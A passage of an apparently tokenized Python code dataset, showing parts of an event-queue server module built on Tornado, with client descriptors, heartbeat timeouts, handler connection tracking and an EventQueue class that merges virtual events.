"\"",
"Got",
" ",
"error",
" ",
"finish",
"ing",
" ",
"handler",
" ",
"for",
" ",
"queue",
" ",
"%",
"s",
"\"_",
"%_",
"(_",
"self_",
"._",
"event",
"\\u",
"queue_",
"._",
"id_",
",_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"finish",
"\\u",
"handler_",
"(_",
"self_",
"._",
"current",
"\\u",
"handler",
"\\u",
"id_",
",_",
"self_",
"._",
"event",
"\\u",
"queue_",
"._",
"id_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"event",
"\\u",
"queue_",
"._",
"contents_",
"(_",
")_",
",_",
"self_",
"._",
"appl",
"y",
"\\u",
"markdown_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
"Exception_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"logging_",
"._",
"exception_",
"(_",
"err",
"\\u",
"msg_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"finally_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"discon",
"nect",
"\\u",
"handler_",
"(_",
"need",
"\\u",
"timeout_",
"=_",
"need",
"\\u",
"timeout_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"True_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"False_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Client",
"Descriptor_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"accepts",
"\\u",
"event_",
"(_",
"self_",
",_",
"event_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"self_",
"._",
"event",
"\\u",
"types_",
"is_",
"not_",
"None_",
"and_",
"event_",
"[_",
"\"",
"type",
"\"_",
"]_",
"not_",
"in_",
"self_",
"._",
"event",
"\\u",
"types_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"False_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"event_",
"[_",
"\"",
"type",
"\"_",
"]_",
"==_",
"\"",
"message",
"\"_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"self_",
"._",
"narrow",
"\\u",
"filter_",
"(_",
"event_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"True_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Client",
"Descriptor_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"accepts",
"\\u",
"messages_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"self_",
"._",
"event",
"\\u",
"types_",
"is_",
"None_",
"or_",
"\"",
"message",
"\"_",
"in_",
"self_",
"._",
"event",
"\\u",
"types_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Client",
"Descriptor_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"idle_",
"(_",
"self_",
",_",
"now_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"not_",
"hasattr_",
"(_",
"self_",
",_",
"'",
"queue",
"\\u",
"timeo",
"ut",
"'_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"queue",
"\\u",
"timeout_",
"=_",
"IDLE",
"\\u",
"EVENT",
"\\u",
"QUEUE",
"\\u",
"TIME",
"OUT",
"\\u",
"SEC",
"S_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"(_",
"self_",
"._",
"current",
"\\u",
"handler",
"\\u",
"id_",
"is_",
"None_",
"\\u\\u\\uNL\\u\\u\\u_",
"and_",
"now_",
"-_",
"self_",
"._",
"last",
"\\u",
"connecti",
"on",
"\\u",
"time_",
">=_",
"self_",
"._",
"queue",
"\\u",
"timeout_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Client",
"Descriptor_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"connect",
"\\u",
"handler_",
"(_",
"self_",
",_",
"handler",
"\\u",
"id_",
",_",
"client",
"\\u",
"name_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"current",
"\\u",
"handler",
"\\u",
"id_",
"=_",
"handler",
"\\u",
"id_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"current",
"\\u",
"client",
"\\u",
"name_",
"=_",
"client",
"\\u",
"name_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"set\\u",
"descrip",
"tor",
"\\u",
"by",
"\\u",
"handler",
"\\u",
"id_",
"(_",
"handler",
"\\u",
"id_",
",_",
"self_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"last",
"\\u",
"connecti",
"on",
"\\u",
"time_",
"=_",
"time_",
"._",
"time_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"def_",
"timeo",
"ut",
"\\u",
"callback_",
"(_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"\\u",
"timeo",
"ut",
"\\u",
"handle_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"All",
" ",
"clients",
" ",
"get",
" ",
"heart",
"beat",
" ",
"events_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"add",
"\\u",
"event_",
"(_",
"dict_",
"(_",
"type_",
"=_",
"'",
"heart",
"beat",
"'_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"ioloop_",
"=_",
"tornado_",
"._",
"ioloop_",
"._",
"IO",
"Loop_",
"._",
"instance_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"heart",
"beat",
"\\u",
"time_",
"=_",
"time_",
"._",
"time_",
"(_",
")_",
"+_",
"HEA",
"RT",
"BEA",
"T",
"\\u",
"MIN",
"\\u",
"FREQ",
"\\u",
"SEC",
"S_",
"+_",
"random_",
"._",
"randint_",
"(_",
"0_",
",_",
"10_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"self_",
"._",
"client",
"\\u",
"type",
"\\u",
"name_",
"!=_",
"'",
"API",
":",
" ",
"heart",
"beat",
" ",
"test",
"'_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"\\u",
"timeo",
"ut",
"\\u",
"handle_",
"=_",
"ioloop_",
"._",
"add",
"\\u",
"timeout_",
"(_",
"heart",
"beat",
"\\u",
"time_",
",_",
"timeo",
"ut",
"\\u",
"callback_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Client",
"Descriptor_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"discon",
"nect",
"\\u",
"handler_",
"(_",
"self_",
",_",
"client",
"\\u",
"closed_",
"=_",
"False_",
",_",
"need",
"\\u",
"timeout_",
"=_",
"True_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"self_",
"._",
"current",
"\\u",
"handler",
"\\u",
"id_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"clear",
"\\u",
"descrip",
"tor",
"\\u",
"by",
"\\u",
"handler",
"\\u",
"id_",
"(_",
"self_",
"._",
"current",
"\\u",
"handler",
"\\u",
"id_",
",_",
"None_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"clear",
"\\u",
"handler",
"\\u",
"by",
"\\u",
"id_",
"(_",
"self_",
"._",
"current",
"\\u",
"handler",
"\\u",
"id_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"client",
"\\u",
"closed_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"logging_",
"._",
"info_",
"(_",
"\"",
"Client",
" ",
"disconnected",
" ",
"for",
" ",
"queue",
" ",
"%",
"s",
" ",
"(%",
"s",
" ",
"via",
" ",
"%",
"s",
")\"_",
"%_",
"\\u\\u\\uNL\\u\\u\\u_",
"(_",
"self_",
"._",
"event",
"\\u",
"queue_",
"._",
"id_",
",_",
"self_",
"._",
"user",
"\\u",
"profile",
"\\u",
"email_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"self_",
"._",
"current",
"\\u",
"client",
"\\u",
"name_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"self_",
"._",
"current",
"\\u",
"handler",
"\\u",
"id_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"current",
"\\u",
"client",
"\\u",
"name_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"need",
"\\u",
"timeout_",
"and_",
"self_",
"._",
"\\u",
"timeo",
"ut",
"\\u",
"handle_",
"is_",
"not_",
"None_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"ioloop_",
"=_",
"tornado_",
"._",
"ioloop_",
"._",
"IO",
"Loop_",
"._",
"instance_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"ioloop_",
"._",
"remove",
"\\u",
"timeout_",
"(_",
"self_",
"._",
"\\u",
"timeo",
"ut",
"\\u",
"handle_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"\\u",
"timeo",
"ut",
"\\u",
"handle_",
"=_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Client",
"Descriptor_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"cleanup_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Be",
"fore",
" ",
"we",
" ",
"can",
" ",
"GC",
" ",
"the",
" ",
"event",
" ",
"queue",
",",
" ",
"we",
" ",
"need",
" ",
"to",
" ",
"discon",
"nect",
" ",
"the_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"handler",
" ",
"and",
" ",
"notif",
"y",
" ",
"the",
" ",
"client",
" ",
"(",
"or",
" ",
"connecti",
"on",
" ",
"server",
")",
" ",
"so",
" ",
"that_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"the",
"y",
" ",
"can",
" ",
"clean",
"up",
" ",
"thei",
"r",
" ",
"own",
" ",
"state",
" ",
"relate",
"d",
" ",
"to",
" ",
"the",
" ",
"GC",
"'",
"d",
" ",
"event_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"queue",
".",
" ",
" ",
"Finish",
"ing",
" ",
"the",
" ",
"handler",
" ",
"bef",
"ore",
" ",
"we",
" ",
"GC",
" ",
"ensure",
"s",
" ",
"the_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"invariant",
" ",
"tha",
"t",
" ",
"event",
" ",
"queue",
"s",
" ",
"are",
" ",
"idle",
" ",
"whe",
"n",
" ",
"pass",
"ed",
" ",
"to_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"`",
"do",
"\\u",
"gc",
"\\u",
"event",
"\\u",
"queue",
"s",
"`",
" ",
"is",
" ",
"preserved",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"finish",
"\\u",
"current",
"\\u",
"handler_",
"(_",
"need",
"\\u",
"timeout_",
"=_",
"False_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"do",
"\\u",
"gc",
"\\u",
"event",
"\\u",
"queues_",
"(_",
"[_",
"self_",
"._",
"event",
"\\u",
"queue_",
"._",
"id_",
"]_",
",_",
"[_",
"self_",
"._",
"user",
"\\u",
"profile",
"\\u",
"id_",
"]_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"[_",
"self_",
"._",
"real",
"m",
"\\u",
"id_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"def_",
"get",
"\\u",
"descrip",
"tor",
"\\u",
"by",
"\\u",
"handler",
"\\u",
"id_",
"(_",
"handler",
"\\u",
"id_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"descrip",
"tors",
"\\u",
"by",
"\\u",
"handler",
"\\u",
"id_",
"._",
"get_",
"(_",
"handler",
"\\u",
"id_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"set\\u",
"descrip",
"tor",
"\\u",
"by",
"\\u",
"handler",
"\\u",
"id_",
"(_",
"handler",
"\\u",
"id_",
",_",
"client",
"\\u",
"descriptor_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"descrip",
"tors",
"\\u",
"by",
"\\u",
"handler",
"\\u",
"id_",
"[_",
"handler",
"\\u",
"id_",
"]_",
"=_",
"client",
"\\u",
"descriptor_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"clear",
"\\u",
"descrip",
"tor",
"\\u",
"by",
"\\u",
"handler",
"\\u",
"id_",
"(_",
"handler",
"\\u",
"id_",
",_",
"client",
"\\u",
"descriptor_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"del_",
"descrip",
"tors",
"\\u",
"by",
"\\u",
"handler",
"\\u",
"id_",
"[_",
"handler",
"\\u",
"id_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"compute",
"\\u",
"full",
"\\u",
"event",
"\\u",
"type_",
"(_",
"event_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"event_",
"[_",
"\"",
"type",
"\"_",
"]_",
"==_",
"\"",
"update",
"\\u",
"message",
"\\u",
"flags",
"\"_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"event_",
"[_",
"\"",
"all",
"\"_",
"]_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Put",
" ",
"the",
" ",
"\"",
"all",
"\"",
" ",
"case",
" ",
"in",
" ",
"its",
" ",
"own",
" ",
"category_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"\"",
"all",
"\\u",
"flags",
"/",
"%",
"s",
"/",
"%",
"s",
"\"_",
"%_",
"(_",
"event_",
"[_",
"\"",
"flag",
"\"_",
"]_",
",_",
"event_",
"[_",
"\"",
"operati",
"on",
"\"_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"\"",
"flags",
"/",
"%",
"s",
"/",
"%",
"s",
"\"_",
"%_",
"(_",
"event_",
"[_",
"\"",
"operati",
"on",
"\"_",
"]_",
",_",
"event_",
"[_",
"\"",
"flag",
"\"_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"event_",
"[_",
"\"",
"type",
"\"_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"module_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"class_",
"Event",
"Queue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Not",
"e",
" ",
"tha",
"t",
" ",
"pop",
" ",
"ignores",
" ",
"virtual",
" ",
"events",
".",
" ",
" ",
"Thi",
"s",
" ",
"is",
" ",
"fine",
" ",
"in",
" ",
"our_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"current",
" ",
"usage",
" ",
"sinc",
"e",
" ",
"virtual",
" ",
"events",
" ",
"shou",
"ld",
" ",
"alw",
"ay",
"s",
" ",
"be",
" ",
"resolve",
"d",
" ",
"to_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"a",
" ",
"real",
" ",
"event",
" ",
"bef",
"ore",
" ",
"bei",
"ng",
" ",
"give",
"n",
" ",
"to",
" ",
"users",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"See",
" ",
"the",
" ",
"comment",
" ",
"on",
" ",
"pop",
";",
" ",
"tha",
"t",
" ",
"appli",
"es",
" ",
"here",
" ",
"as",
" ",
"well_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"[SEP]_",
"class_",
"Event",
"Queue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"def_",
"\\u\\u",
"init\\u\\u_",
"(_",
"self_",
",_",
"id_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"type",
":",
" ",
"(",
"Any",
")",
" ",
"->",
" ",
"None_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"queue_",
"=_",
"deque_",
"(_",
")_",
"#",
" ",
"type",
":",
" ",
"deq",
"ue",
"[",
"Dict",
"[",
"str",
",",
" ",
"str",
"]]",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"next",
"\\u",
"event",
"\\u",
"id_",
"=_",
"0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"id_",
"=_",
"id_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"virtual",
"\\u",
"events_",
"=_",
"{_",
"}_",
"#",
" ",
"type",
":",
" ",
"Dict",
"[",
"str",
",",
" ",
"Dict",
"[",
"str",
",",
" ",
"str",
"]]",
"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Event",
"Queue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"to",
"\\u",
"dict_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"If",
" ",
"you",
" ",
"add",
" ",
"a",
" ",
"new",
" ",
"key",
" ",
"to",
" ",
"this",
" ",
"dict",
",",
" ",
"make",
" ",
"sure",
" ",
"you",
" ",
"add",
" ",
"appropr",
"iate",
"_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"migrati",
"on",
" ",
"code",
" ",
"in",
" ",
"from",
"\\u",
"dict",
" ",
"or",
" ",
"load",
"\\u",
"event",
"\\u",
"queue",
"s",
" ",
"to",
" ",
"account",
" ",
"for_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"load",
"ing",
" ",
"event",
" ",
"queue",
"s",
" ",
"tha",
"t",
" ",
"lack",
" ",
"tha",
"t",
" ",
"key",
"._",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"dict_",
"(_",
"id_",
"=_",
"self_",
"._",
"id_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"next",
"\\u",
"event",
"\\u",
"id_",
"=_",
"self_",
"._",
"next",
"\\u",
"event",
"\\u",
"id_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"queue_",
"=_",
"list_",
"(_",
"self_",
"._",
"queue_",
")_",
",_",
"\\u\\u\\uNL\\u\\u\\u_",
"virtual",
"\\u",
"events_",
"=_",
"self_",
"._",
"virtual",
"\\u",
"events_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Event",
"Queue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"@_",
"classmethod_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"def_",
"from",
"\\u",
"dict_",
"(_",
"cls_",
",_",
"d_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"ret_",
"=_",
"cls_",
"(_",
"d_",
"[_",
"'",
"id",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"ret_",
"._",
"next",
"\\u",
"event",
"\\u",
"id_",
"=_",
"d_",
"[_",
"'",
"next",
"\\u",
"event",
"\\u",
"id",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"ret_",
"._",
"queue_",
"=_",
"deque_",
"(_",
"d_",
"[_",
"'",
"queue",
"'_",
"]_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"ret_",
"._",
"virtual",
"\\u",
"events_",
"=_",
"d_",
"._",
"get_",
"(_",
"\"",
"virtual",
"\\u",
"events",
"\"_",
",_",
"{_",
"}_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"ret_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Event",
"Queue_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"push_",
"(_",
"self_",
",_",
"event_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"event_",
"[_",
"'",
"id",
"'_",
"]_",
"=_",
"self_",
"._",
"next",
"\\u",
"event",
"\\u",
"id_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"next",
"\\u",
"event",
"\\u",
"id_",
"+=_",
"1_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"full",
"\\u",
"event",
"\\u",
"type_",
"=_",
"compute",
"\\u",
"full",
"\\u",
"event",
"\\u",
"type_",
"(_",
"event_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"(_",
"full",
"\\u",
"event",
"\\u",
"type_",
"in_",
"[_",
"\"",
"point",
"er",
"\"_",
",_",
"\"",
"restart",
"\"_",
"]_",
"or_",
"\\u\\u\\uNL\\u\\u\\u_",
"full",
"\\u",
"event",
"\\u",
"type_",
"._",
"startswith_",
"(_",
"\"",
"flags",
"/\"_",
")_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"full",
"\\u",
"event",
"\\u",
"type_",
"not_",
"in_",
"self_",
"._",
"virtual",
"\\u",
"events_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"self_",
"._",
"virtual",
"\\u",
"events_",
"[_",
"full",
"\\u",
"event",
"\\u",
"type_",
"]_",
"=_",
"copy_",
"._",
"deepcopy_",
"(_",
"event_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Update",
" ",
"the",
" ",
"virtual",
" ",
"event",
" ",
"with",
" ",
"the",
" ",
"values",
" ",
"from",
" ",
"the",
" ",
"event_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"virtual",
"\\u",
"event_",
"=_",
"self_",
"._",
"virtual",
"\\u",
"events_",
"[_",
"full",
"\\u",
"event",
"\\u",
"type_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"virtual",
"\\u",
"event_",
"[_",
"\"",
"id",
"\"_",
"]_",
"=_",
"event_",
"[_",
"\"",
"id",
"\"_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"\"",
"timestamp",
"\"_",
"in_",
"event_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"virtual",
"\\u",
"event_",
"[_",
"\"",
"timestamp",
"\"_",
"]_",
"=_",
"event_",
"[_",
"\"",
"timestamp",
"\"_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"full",
"\\u",
"event",
"\\u",
"type_",
"==_",
"\"",
"point",
"er",
"\"_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"virtual",
"\\u",
"event_",
"[_",
"\"",
"point",
"er",
"\"_",
"]_",
"=_",
"event_",
"[_",
"\"",
"point",
"er",
"\"_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"elif_",
"full",
"\\u",
"event",
"\\u",
"type_",
"==_",
"\"",
"restart",
"\"_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"virtual",
"\\u",
"event_",
"[_",
"\"",
"server",
"\\u",
"generat",
"ion",
"\"_",
"]_",
"=_",
"event_",
"[_",
"\"",
"server",
"\\u",
"generat",
"ion",
"\"_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"elif_",
"full",
"\\u",
"event",
"\\u",
"type_",
"._",
"startswith_",
"(_",
